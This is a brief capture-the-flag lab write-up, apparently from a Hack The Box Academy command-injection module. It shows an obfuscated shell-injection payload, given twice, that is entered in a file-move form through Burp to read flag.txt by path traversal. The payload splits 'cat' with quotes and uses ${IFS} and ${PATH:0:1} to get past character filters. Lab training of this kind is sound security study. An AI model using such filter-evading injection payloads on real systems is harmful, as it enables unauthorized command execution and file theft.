version: "1.0.0"
We can see the injection is in the move file [Image: Move]
[Image: BURP] And in the section form we must to change for us payload: %3bc'a't${IFS}${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH: 0:1}..${PATH:0:1}flag.txt; [Image: flag]
%3bc'a't${IFS}${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH: 0:1}..${PATH:0:1}flag.txt;
https://academy.hackthebox.com/achievement/349590/109